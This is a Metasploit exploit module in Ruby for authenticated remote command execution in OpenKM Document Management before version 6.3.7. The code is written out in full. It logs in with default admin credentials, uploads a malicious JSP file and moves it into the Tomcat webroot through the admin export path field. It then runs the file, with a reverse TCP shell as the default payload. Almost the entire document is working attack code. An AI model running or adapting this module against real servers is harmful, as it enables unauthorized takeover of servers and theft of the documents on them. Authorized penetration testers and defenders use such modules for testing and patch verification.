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## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name'=> 'OpenKM Document Management < 6.3.7 - (Authenticated) Remote Command Execution', 'Description' => %q{ Versions of the OpenKM Document Management< 6.3.7 allows upload a malicious JSP file into the "/okm:root" directories and move that file to the home directory of the site. This vulnerability is carried out by interfering to the "Filesystem path" control in the admin's "Export" field. As a result, attackers can gain remote code execution through the application server with root privilege. This module allows the execution of remote commands on the server by creating a malicious JSP file. Module has been tested successfully with OpenKM DM between 6.3.2 and 6.3.7 on Debian 4.9.18-1kali1 system. There is also the possibility of working in lower versions. }, 'Author'=> [ 'AkkuS <Özkan Mustafa Akkuş>' ], # Vulnerability Discovery, PoC & Msf Module 'References'=> [ ['URL', 'https://pentest.com.tr/exploits/OpenKM-DM-6-3-7-Remote-Command-Execution-Metasploit.html'] ], 'DisclosureDate' => "March 09 2019", 'License' => MSF_LICENSE, 'Platform'=> %w{ linux win }, 'Targets' => [ [ 'Automatic', { 'Arch' => ARCH_JAVA, 'Platform' => 'linux' } ], [ 'Java Windows', { 'Arch' => ARCH_JAVA, 'Platform' => 'win' } ], [ 'Java Linux', { 'Arch' => ARCH_JAVA, 'Platform' => 'linux' } ] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'java/jsp_shell_reverse_tcp' })) register_options( [ Opt::RPORT(8080), OptBool.new('SSL', [true, 'Use SSL', false]), OptString.new('TARGETURI', [true, 'The base path to OpenKM', '/']), OptString.new('USERNAME', [true, 'User to login with', 'okmAdmin']), OptString.new('PASSWORD', [true, 'Password to login with', 'admin']), ], self.class) end ## # Request to Login ## def login res = send_request_cgi({ 'method' => 'POST', 'uri'=> normalize_uri(target_uri, "/OpenKM/j_spring_security_check"), 'vars_post' => { "j_username" => datastore['USERNAME'], "j_password" => datastore['PASSWORD'], "submit" => "Login" } }) if res and res.code == 302 and res.headers['Location'] =~ /error/ fail_with(Failure::NoAccess, "Failed to login!") else print_good("Login successful.") end return res end ## # Returns the SSL, Host and Port as a string ## def peer "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}" end ## # Vulnerablity Check ## def check res = send_request_cgi({ 'method'=> 'GET', 'uri' => normalize_uri(target_uri, "/OpenKM/admin/home.jsp"), 'headers' => { 'Cookie' => login.get_cookies, } }) version = res.body.split('Version: ')[1].split('</td>')[0] print_status("Version: #{version}") if res and res.code == 200 and res.body =~ /Version: 6./ or res.body =~ /Version: 5./ return Exploit::CheckCode::Vulnerable else return Exploit::CheckCode::Safe end return res end def exploit get_cookie = login.get_cookies cookie = get_cookie print_status("Cookie: #{cookie}") ## # Read to X-GWT-Permutation string ## print_status("Attempting to read X-GWT-Permutation...") res = send_request_cgi({ 'method'=> 'GET', 'uri' => normalize_uri(target_uri, "/OpenKM/frontend/frontend.nocache.js"), 'headers' => { 'Cookie' => cookie, } }) cache = res.body.split('Wb=')[1].split("'")[1] print_good("X-GWT-Permutation: #{cache}") ## # Create directory for payload ## print_status("Attempting to create directory for payload...") dfile = "#{rand_text_alphanumeric(rand(5) + 5)}akkus" string = Rex::Text.rand_text_alphanumeric(10) data = "7|0|7|#{peer}/OpenKM/frontend/|" data << "#{cache}" data << "|com.openkm.frontend.client.service.OKMFolderService|create|java.lang.String/" data << "#{string}" data << "|#{dfile}|/okm:root|1|2|3|4|2|5|5|6|7|" res = send_request_cgi({ 'method' => 'POST', 'data' => data, 'uri'=> normalize_uri(target_uri, "/OpenKM/frontend/Folder"), 'headers' => { 'Content-Type' => 'text/x-gwt-rpc; charset=utf-8', 'X-GWT-Permutation' => cache, 'X-GWT-Module-Base' => '#{peer}/OpenKM/frontend/', 'Referer' => '#{peer}/OpenKM/frontend/index.jsp', 'Cookie' => cookie, } }) if res and res.code == 200 and res.body =~ /akkus/ print_good("#{dfile} directory successfully created!") else print_error("Directory could not be created!") return res end ## # Upload JSP payload ## pfile = "#{rand_text_alphanumeric(rand(5) + 5)}akkus.jsp" boundary = Rex::Text.rand_text_alphanumeric(29) data = "-----------------------------{boundary}" data << "\r\nContent-Disposition: form-data; name=\"path\"\r\n\r\n/okm:root/#{dfile}\r\n" data << "-----------------------------{boundary}" data << "\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n0\r\n" data << "-----------------------------{boundary}" data << "\r\nContent-Disposition: form-data; name=\"rename\"\r\n\r\n\r\n" data << "-----------------------------{boundary}" data << "\r\nContent-Disposition: form-data; name=\"comment\"\r\n\r\n\r\n" data << "-----------------------------{boundary}" data << "\r\nContent-Disposition: form-data; name=\"mails\"\r\n\r\n\r\n" data << "-----------------------------{boundary}" data << "\r\nContent-Disposition: form-data; name=\"users\"\r\n\r\n\r\n" data << "-----------------------------{boundary}" data << "\r\nContent-Disposition: form-data; name=\"roles\"\r\n\r\n\r\n" data << "-----------------------------{boundary}" data << "\r\nContent-Disposition: form-data; name=\"message\"\r\n\r\n\r\n" data << "-----------------------------{boundary}" data << "\r\nContent-Disposition: form-data; name=\"increaseVersion\"\r\n\r\n0\r\n" data << "-----------------------------{boundary}" data << "\r\nContent-Disposition: form-data; name=\"uploadFormElement\"; filename=\"#{pfile}\"" data << "\r\nContent-Type: application/octet-stream\r\n\r\n" data << payload.encoded data << "\n\r\n-----------------------------{boundary}--\r\n" print_status("Attempting to upload JSP Payload...") res = send_request_cgi({ 'method' => 'POST', 'data' => data, 'uri'=> normalize_uri(target_uri, "/OpenKM/frontend/FileUpload"), 'headers' => { 'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}', 'Referer' => '#{peer}/OpenKM/frontend/index.jsp', 'Cookie' => cookie, } }) if res and res.code == 200 and res.body =~ /akkus.jsp/ print_good("#{pfile} payload uploaded successfully!") else print_error("JSP Payload upload failed!") end ## # Read Tomcat web directory path ## print_status("Attempting to read Tomcat web directory path...") res = send_request_cgi({ 'method'=> 'GET', 'uri' => normalize_uri(target_uri, "/OpenKM/admin/system_properties.jsp"), 'headers' => { 'Cookie' => cookie, } }) dir = res.body.split('catalina.base')[1].split('<td>')[1].split(' ')[0] path = "#{dir}/webapps/OpenKM" print_good("Web directory path => #{path}") ## # Move the payload file to the site's home directory ## print_status("Attempting to move payload file to the site's home directory...") res = send_request_cgi({ 'method'=> 'GET', 'uri' => normalize_uri(target_uri, "/OpenKM/admin/repository_export.jsp?repoPath=%2Fokm%3Aroot%2F#{dfile}&fsPath=" + URI.encode(path, /\W/)), 'headers' => { 'Cookie' => cookie, } }) if res and res.code == 200 and res.body =~ /akkus/ print_good("JSP Payload was moved successfully!") print_status("=> #{path}/#{pfile} ") else print_error("JSP Payload upload failed!") end ## #Execute the Payload ## print_status("Attempting to execute the #{pfile} payload...") res = send_request_cgi({ 'method'=> 'GET', 'uri' => normalize_uri(target_uri, "/OpenKM/#{pfile}"), 'headers' => { 'Cookie' => cookie, } }) if res and res.code == 200 print_good("Payload executed successfully!") else fail_with(Failure::PayloadFailed, "Failed to execute the payload!") end end end ## #End ## |
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